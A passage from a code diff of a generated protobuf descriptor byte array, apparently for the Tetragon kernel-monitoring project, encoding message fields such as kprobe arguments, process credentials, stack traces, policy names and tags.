0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, + 0x72, 0x6f, 0x62, 0x65, 0x53, 0x6b, 0x62, 0x48, 0x00, 0x52, 0x06, 0x73, 0x6b, 0x62, 0x41, 0x72, + 0x67, 0x12, 0x1b, 0x0a, 0x08, 0x73, 0x69, 0x7a, 0x65, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x04, 0x48, 0x00, 0x52, 0x07, 0x73, 0x69, 0x7a, 0x65, 0x41, 0x72, 0x67, 0x12, 0x1d, + 0x0a, 0x09, 0x62, 0x79, 0x74, 0x65, 0x73, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x0c, 0x48, 0x00, 0x52, 0x08, 0x62, 0x79, 0x74, 0x65, 0x73, 0x41, 0x72, 0x67, 0x12, 0x31, 0x0a, + 0x08, 0x70, 0x61, 0x74, 0x68, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x14, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, + 0x65, 0x50, 0x61, 0x74, 0x68, 0x48, 0x00, 0x52, 0x07, 0x70, 0x61, 0x74, 0x68, 0x41, 0x72, 0x67, + 0x12, 0x31, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, + 0x72, 0x6f, 0x62, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x00, 0x52, 0x07, 0x66, 0x69, 0x6c, 0x65, + 0x41, 0x72, 0x67, 0x12, 0x50, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, + 0x5f, 0x62, 0x79, 0x74, 0x65, 0x73, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1e, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, + 0x62, 0x65, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x42, 0x79, 0x74, 0x65, 0x73, + 0x48, 0x00, 0x52, 0x11, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x42, 0x79, 0x74, + 0x65, 0x73, 0x41, 0x72, 0x67, 0x12, 0x31, 0x0a, 0x08, 0x73, 0x6f, 0x63, 0x6b, 0x5f, 0x61, 0x72, + 0x67, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, + 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x48, 0x00, 0x52, + 0x07, 0x73, 0x6f, 0x63, 0x6b, 0x41, 0x72, 0x67, 0x12, 0x31, 0x0a, 0x08, 0x63, 0x72, 0x65, 0x64, + 0x5f, 0x61, 0x72, 0x67, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x74, 0x65, 0x74, + 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x43, 0x72, 0x65, 0x64, + 0x48, 0x00, 0x52, 0x07, 0x63, 0x72, 0x65, 0x64, 0x41, 0x72, 0x67, 0x12, 0x1b, 0x0a, 0x08, 0x6c, + 0x6f, 0x6e, 0x67, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, + 0x07, 0x6c, 0x6f, 0x6e, 0x67, 0x41, 0x72, 0x67, 0x12, 0x3b, 0x0a, 0x0c, 0x62, 0x70, 0x66, 0x5f, + 0x61, 0x74, 0x74, 0x72, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, + 0x42, 0x70, 0x66, 0x41, 0x74, 0x74, 0x72, 0x48, 0x00, 0x52, 0x0a, 0x62, 0x70, 0x66, 0x41, 0x74, + 0x74, 0x72, 0x41, 0x72, 0x67, 0x12, 0x41, 0x0a, 0x0e, 0x70, 0x65, 0x72, 0x66, 0x5f, 0x65, 0x76, + 0x65, 0x6e, 0x74, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, + 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x50, + 0x65, 0x72, 0x66, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x48, 0x00, 0x52, 0x0c, 0x70, 0x65, 0x72, 0x66, + 0x45, 0x76, 0x65, 0x6e, 0x74, 0x41, 0x72, 0x67, 0x12, 0x38, 0x0a, 0x0b, 0x62, 0x70, 0x66, 0x5f, + 0x6d, 0x61, 0x70, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, + 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x42, + 0x70, 0x66, 0x4d, 0x61, 0x70, 0x48, 0x00, 0x52, 0x09, 0x62, 0x70, 0x66, 0x4d, 0x61, 0x70, 0x41, + 0x72, 0x67, 0x12, 0x1b, 0x0a, 0x08, 0x75, 0x69, 0x6e, 0x74, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x0f, + 0x20, 0x01, 0x28, 0x0d, 0x48, 0x00, 0x52, 0x07, 0x75, 0x69, 0x6e, 0x74, 0x41, 0x72, 0x67, 0x12, + 0x51, 0x0a, 0x12, 0x75, 0x73, 0x65, 0x72, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, + 0x65, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x74, 0x65, + 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x55, 0x73, 0x65, + 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x42, 0x02, 0x18, 0x01, 0x48, 0x00, + 0x52, 0x10, 0x75, 0x73, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x41, + 0x72, 0x67, 0x12, 0x43, 0x0a, 0x0e, 0x63, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, + 0x5f, 0x61, 0x72, 0x67, 0x18, 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x74, 0x65, 0x74, + 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x43, 0x61, 0x70, 0x61, + 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x48, 0x00, 0x52, 0x0d, 0x63, 0x61, 0x70, 0x61, 0x62, 0x69, + 0x6c, 0x69, 0x74, 0x79, 0x41, 0x72, 0x67, 0x12, 0x56, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x5f, 0x63, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x5f, 0x61, + 0x72, 0x67, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, + 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x43, 0x72, 0x65, 0x64, 0x65, + 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x48, 0x00, 0x52, 0x15, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x41, 0x72, 0x67, 0x12, + 0x39, 0x0a, 0x0b, 0x75, 0x73, 0x65, 0x72, 0x5f, 0x6e, 0x73, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x14, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, + 0x55, 0x73, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x48, 0x00, 0x52, + 0x09, 0x75, 0x73, 0x65, 0x72, 0x4e, 0x73, 0x41, 0x72, 0x67, 0x12, 0x37, 0x0a, 0x0a, 0x6d, 0x6f, + 0x64, 0x75, 0x6c, 0x65, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, + 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, + 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x48, 0x00, 0x52, 0x09, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65, + 0x41, 0x72, 0x67, 0x12, 0x29, 0x0a, 0x10, 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x5f, 0x63, 0x61, + 0x70, 0x5f, 0x74, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x16, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, + 0x0d, 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x43, 0x61, 0x70, 0x54, 0x41, 0x72, 0x67, 0x12, 0x30, + 0x0a, 0x13, 0x63, 0x61, 0x70, 0x5f, 0x69, 0x6e, 0x68, 0x65, 0x72, 0x69, 0x74, 0x61, 0x62, 0x6c, + 0x65, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x17, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x11, 0x63, + 0x61, 0x70, 0x49, 0x6e, 0x68, 0x65, 0x72, 0x69, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x41, 0x72, 0x67, + 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x61, 0x70, 0x5f, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x74, 0x65, + 0x64, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0f, 0x63, + 0x61, 0x70, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x72, 0x67, 0x12, 0x2c, + 0x0a, 0x11, 0x63, 0x61, 0x70, 0x5f, 0x65, 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x5f, + 0x61, 0x72, 0x67, 0x18, 0x19, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0f, 0x63, 0x61, 0x70, + 0x45, 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x41, 0x72, 0x67, 0x12, 0x47, 0x0a, 0x10, + 0x6c, 0x69, 0x6e, 0x75, 0x78, 0x5f, 0x62, 0x69, 0x6e, 0x70, 0x72, 0x6d, 0x5f, 0x61, 0x72, 0x67, + 0x18, 0x1a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, + 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x4c, 0x69, 0x6e, 0x75, 0x78, 0x42, 0x69, 0x6e, + 0x70, 0x72, 0x6d, 0x48, 0x00, 0x52, 0x0e, 0x6c, 0x69, 0x6e, 0x75, 0x78, 0x42, 0x69, 0x6e, 0x70, + 0x72, 0x6d, 0x41, 0x72, 0x67, 0x12, 0x38, 0x0a, 0x0b, 0x6e, 0x65, 0x74, 0x5f, 0x64, 0x65, 0x76, + 0x5f, 0x61, 0x72, 0x67, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, + 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x4e, 0x65, 0x74, 0x44, + 0x65, 0x76, 0x48, 0x00, 0x52, 0x09, 0x6e, 0x65, 0x74, 0x44, 0x65, 0x76, 0x41, 0x72, 0x67, 0x12, + 0x32, 0x0a, 0x0b, 0x62, 0x70, 0x66, 0x5f, 0x63, 0x6d, 0x64, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x1c, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, + 0x42, 0x70, 0x66, 0x43, 0x6d, 0x64, 0x48, 0x00, 0x52, 0x09, 0x62, 0x70, 0x66, 0x43, 0x6d, 0x64, + 0x41, 0x72, 0x67, 0x12, 0x34, 0x0a, 0x0a, 0x73, 0x79, 0x73, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x69, + 0x64, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, + 0x6f, 0x6e, 0x2e, 0x53, 0x79, 0x73, 0x63, 0x61, 0x6c, 0x6c, 0x49, 0x64, 0x48, 0x00, 0x52, 0x09, + 0x73, 0x79, 0x73, 0x63, 0x61, 0x6c, 0x6c, 0x49, 0x64, 0x12, 0x3d, 0x0a, 0x0c, 0x73, 0x6f, 0x63, + 0x6b, 0x61, 0x64, 0x64, 0x72, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x18, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, + 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x61, 0x64, 0x64, 0x72, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x6f, 0x63, + 0x6b, 0x61, 0x64, 0x64, 0x72, 0x41, 0x72, 0x67, 0x12, 0x3b, 0x0a, 0x0c, 0x62, 0x70, 0x66, 0x5f, + 0x70, 0x72, 0x6f, 0x67, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, + 0x42, 0x70, 0x66, 0x50, 0x72, 0x6f, 0x67, 0x48, 0x00, 0x52, 0x0a, 0x62, 0x70, 0x66, 0x50, 0x72, + 0x6f, 0x67, 0x41, 0x72, 0x67, 0x12, 0x34, 0x0a, 0x09, 0x65, 0x72, 0x72, 0x6f, 0x72, 0x5f, 0x61, + 0x72, 0x67, 0x18, 0x20, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, + 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x48, + 0x00, 0x52, 0x08, 0x65, 0x72, 0x72, 0x6f, 0x72, 0x41, 0x72, 0x67, 0x12, 0x43, 0x0a, 0x0e, 0x73, + 0x6f, 0x63, 0x6b, 0x61, 0x64, 0x64, 0x72, 0x75, 0x6e, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x21, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, + 0x70, 0x72, 0x6f, 0x62, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x61, 0x64, 0x64, 0x72, 0x55, 0x6e, 0x48, + 0x00, 0x52, 0x0d, 0x73, 0x6f, 0x63, 0x6b, 0x61, 0x64, 0x64, 0x72, 0x75, 0x6e, 0x41, 0x72, 0x67, + 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x61, 0x62, 0x65, 0x6c, 0x18, 0x12, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x05, 0x6c, 0x61, 0x62, 0x65, 0x6c, 0x42, 0x05, 0x0a, 0x03, 0x61, 0x72, 0x67, 0x22, 0x95, 0x05, + 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x12, + 0x2b, 0x0a, 0x07, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x11, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, + 0x65, 0x73, 0x73, 0x52, 0x07, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x29, 0x0a, 0x06, + 0x70, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x74, + 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x52, + 0x06, 0x70, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x12, 0x23, 0x0a, 0x0d, 0x66, 0x75, 0x6e, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, + 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2c, 0x0a, 0x04, + 0x61, 0x72, 0x67, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x74, 0x65, 0x74, + 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x41, 0x72, 0x67, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x04, 0x61, 0x72, 0x67, 0x73, 0x12, 0x30, 0x0a, 0x06, 0x72, 0x65, + 0x74, 0x75, 0x72, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x74, 0x65, 0x74, + 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x41, 0x72, 0x67, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x12, 0x2e, 0x0a, 0x06, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x74, + 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x41, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x12, + 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x5f, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x5f, 0x74, 0x72, 0x61, + 0x63, 0x65, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, + 0x67, 0x6f, 0x6e, 0x2e, 0x53, 0x74, 0x61, 0x63, 0x6b, 0x54, 0x72, 0x61, 0x63, 0x65, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x10, 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x53, 0x74, 0x61, 0x63, 0x6b, + 0x54, 0x72, 0x61, 0x63, 0x65, 0x12, 0x1f, 0x0a, 0x0b, 0x70, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x5f, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x70, 0x6f, 0x6c, 0x69, + 0x63, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x0d, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, + 0x5f, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x41, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, - 0x12, 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x5f, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x5f, 0x74, 0x72, - 0x61, 0x63, 0x65, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x74, 0x65, 0x74, 0x72, - 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x53, 0x74, 0x61, 0x63, 0x6b, 0x54, 0x72, 0x61, 0x63, 0x65, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x53, 0x74, 0x61, 0x63, - 0x6b, 0x54, 0x72, 0x61, 0x63, 0x65, 0x12, 0x1f, 0x0a, 0x0b, 0x70, 0x6f, 0x6c, 0x69, 0x63, 0x79, - 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x70, 0x6f, 0x6c, - 0x69, 0x63, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x0d, 0x72, 0x65, 0x74, 0x75, 0x72, - 0x6e, 0x5f, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0c, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x41, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x6d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x18, 0x0a, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x6d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x12, 0x12, 0x0a, + 0x04, 0x74, 0x61, 0x67, 0x73, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x09, 0x52, 0x04, 0x74, 0x61, 0x67, + 0x73, 0x12, 0x43, 0x0a, 0x10, 0x75, 0x73, 0x65, 0x72, 0x5f, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x5f, + 0x74, 0x72, 0x61, 0x63, 0x65, 0x18, 0x0c, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x74, 0x65, + 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x53, 0x74, 0x61, 0x63, 0x6b, 0x54, 0x72, 0x61, 0x63, + 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0e, 0x75, 0x73, 0x65, 0x72, 0x53, 0x74, 0x61, 0x63, + 0x6b, 0x54, 0x72, 0x61, 0x63, 0x65, 0x12, 0x2f, 0x0a, 0x09, 0x61, 0x6e, 0x63, 0x65, 0x73, 0x74, + 0x6f, 0x72, 0x73, 0x18, 0x0d, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x74, 0x65, 0x74, 0x72, + 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x52, 0x09, 0x61, 0x6e, + 0x63, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x04, 0x64, 0x61, 0x74, 0x61, 0x18, + 0x0e, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, + 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, + 0x04, 0x64, 0x61, 0x74, 0x61, 0x22, 0xf7, 0x02, 0x0a, 0x11, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x54, 0x72, 0x61, 0x63, 0x65, 0x70, 0x6f, 0x69, 0x6e, 0x74, 0x12, 0x2b, 0x0a, 0x07, 0x70, + 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x74, + 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x52, + 0x07, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x29, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x65, + 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, + 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x52, 0x06, 0x70, 0x61, 0x72, + 0x65, 0x6e, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x75, 0x62, 0x73, 0x79, 0x73, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x06, 0x73, 0x75, 0x62, 0x73, 0x79, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x65, + 0x76, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x65, 0x76, 0x65, 0x6e, + 0x74, 0x12, 0x2c, 0x0a, 0x04, 0x61, 0x72, 0x67, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x18, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, + 0x65, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x04, 0x61, 0x72, 0x67, 0x73, 0x12, + 0x1f, 0x0a, 0x0b, 0x70, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x07, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x70, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x2e, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, + 0x62, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x18, 0x0a, 0x07, 0x6d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x07, 0x6d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x61, + 0x67, 0x73, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x09, 0x52, 0x04, 0x74, 0x61, 0x67, 0x73, 0x12, 0x2f, + 0x0a, 0x09, 0x61, 0x6e, 0x63, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x73, 0x18, 0x0b, 0x20, 0x03, 0x28, + 0x0b, 0x32, 